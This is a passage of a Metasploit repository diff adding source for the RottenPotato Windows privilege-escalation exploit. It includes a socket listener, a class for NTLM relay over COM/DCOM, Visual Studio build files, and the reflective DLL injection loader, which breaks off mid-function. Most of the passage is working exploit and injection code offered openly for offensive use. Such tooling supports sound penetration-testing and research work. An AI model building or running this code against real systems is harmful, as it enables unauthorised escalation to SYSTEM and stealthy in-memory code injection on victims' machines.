||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
} while (iResult > 0);
|
||||
|
||||
// shutdown the connection since we're done
|
||||
iResult = shutdown(ClientSocket, SD_SEND);
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
closesocket(ClientSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// cleanup
|
||||
closesocket(ClientSocket);
|
||||
WSACleanup();
|
||||
|
||||
closesocket(ListenSocket);
|
||||
WSACleanup();
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
// The following ifdef block is the standard way of creating macros which make exporting
|
||||
// from a DLL simpler. All files within this DLL are compiled with the MSFROTTENPOTATO_EXPORTS
|
||||
// symbol defined on the command line. This symbol should not be defined on any project
|
||||
// that uses this DLL. This way any other project whose source files include this file see
|
||||
// MSFROTTENPOTATO_API functions as being imported from a DLL, whereas this DLL sees symbols
|
||||
// defined with this macro as being exported.
|
||||
#ifdef MSFROTTENPOTATO_EXPORTS
|
||||
#define MSFROTTENPOTATO_API __declspec(dllexport)
|
||||
#else
|
||||
#define MSFROTTENPOTATO_API __declspec(dllimport)
|
||||
#endif
|
||||
#include "Objidl.h"
|
||||
#include "BlockingQueue.h"
|
||||
#include "LocalNegotiator.h"
|
||||
|
||||
// This class is exported from the MSFRottenPotato.dll
|
||||
class MSFROTTENPOTATO_API CMSFRottenPotato {
|
||||
private:
|
||||
BlockingQueue<char*>* comSendQ;
|
||||
BlockingQueue<char*>* rpcSendQ;
|
||||
static DWORD WINAPI staticStartRPCConnection(void * Param);
|
||||
static DWORD WINAPI staticStartCOMListener(void * Param);
|
||||
static int newConnection;
|
||||
int processNtlmBytes(char* bytes, int len);
|
||||
int findNTLMBytes(char * bytes, int len);
|
||||
|
||||
public:
|
||||
CMSFRottenPotato(void);
|
||||
int startRPCConnection(void);
|
||||
DWORD startRPCConnectionThread();
|
||||
DWORD startCOMListenerThread();
|
||||
int startCOMListener(void);
|
||||
int triggerDCOM();
|
||||
LocalNegotiator *negotiator;
|
||||
};
|
195
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj
vendored
Executable file
195
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj
vendored
Executable file
|
@ -0,0 +1,195 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{4164003E-BA47-4A95-8586-D5AAC399C050}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>MSFRottenPotato</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v141</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="BlockingQueue.h" />
|
||||
<ClInclude Include="IStorageTrigger.h" />
|
||||
<ClInclude Include="LocalNegotiator.h" />
|
||||
<ClInclude Include="MSFRottenPotato.h" />
|
||||
<ClInclude Include="ReflectiveDllInjection.h" />
|
||||
<ClInclude Include="ReflectiveLoader.h" />
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IStorageTrigger.cpp" />
|
||||
<ClCompile Include="LocalNegotiator.cpp" />
|
||||
<ClCompile Include="MSFRottenPotato.cpp" />
|
||||
<ClCompile Include="ReflectiveLoader.c" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
66
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj.filters
vendored
Normal file
66
external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj.filters
vendored
Normal file
|
@ -0,0 +1,66 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="MSFRottenPotato.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IStorageTrigger.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="BlockingQueue.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LocalNegotiator.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveDllInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="MSFRottenPotato.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IStorageTrigger.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LocalNegotiator.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
52
external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveDllInjection.h
vendored
Normal file
52
external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveDllInjection.h
vendored
Normal file
|
@ -0,0 +1,52 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
#pragma once
|
|
@ -0,0 +1,572 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
|
||||
#else /* ENABLE_OUTPUTDEBUGSTRING */
|
||||
#define OUTPUTDBG(str) do{}while(0)
|
||||
#endif
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
VIRTUALLOCK pVirtualLock = NULL;
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
OUTPUTDEBUG pOutputDebug = NULL;
|
||||
#endif
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while (TRUE)
|
||||
{
|
||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef _WIN64
|
||||
uiBaseAddress = __readgsqword(0x60);
|
||||
#else
|
||||
#ifdef WIN_ARM
|
||||
uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||
#else _WIN32
|
||||
uiBaseAddress = __readfsdword(0x30);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while (uiValueA)
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
ULONG_PTR tmpValC = uiValueC;
|
||||
do
|
||||
{
|
||||
tmpValC = ror((DWORD)tmpValC);
|
||||
// normalize to uppercase if the module name is in lowercase
|
||||
if (*((BYTE *)uiValueB) >= 'a')
|
||||
tmpValC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
tmpValC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while (--usCounter);
|
||||
uiValueC = tmpValC;
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
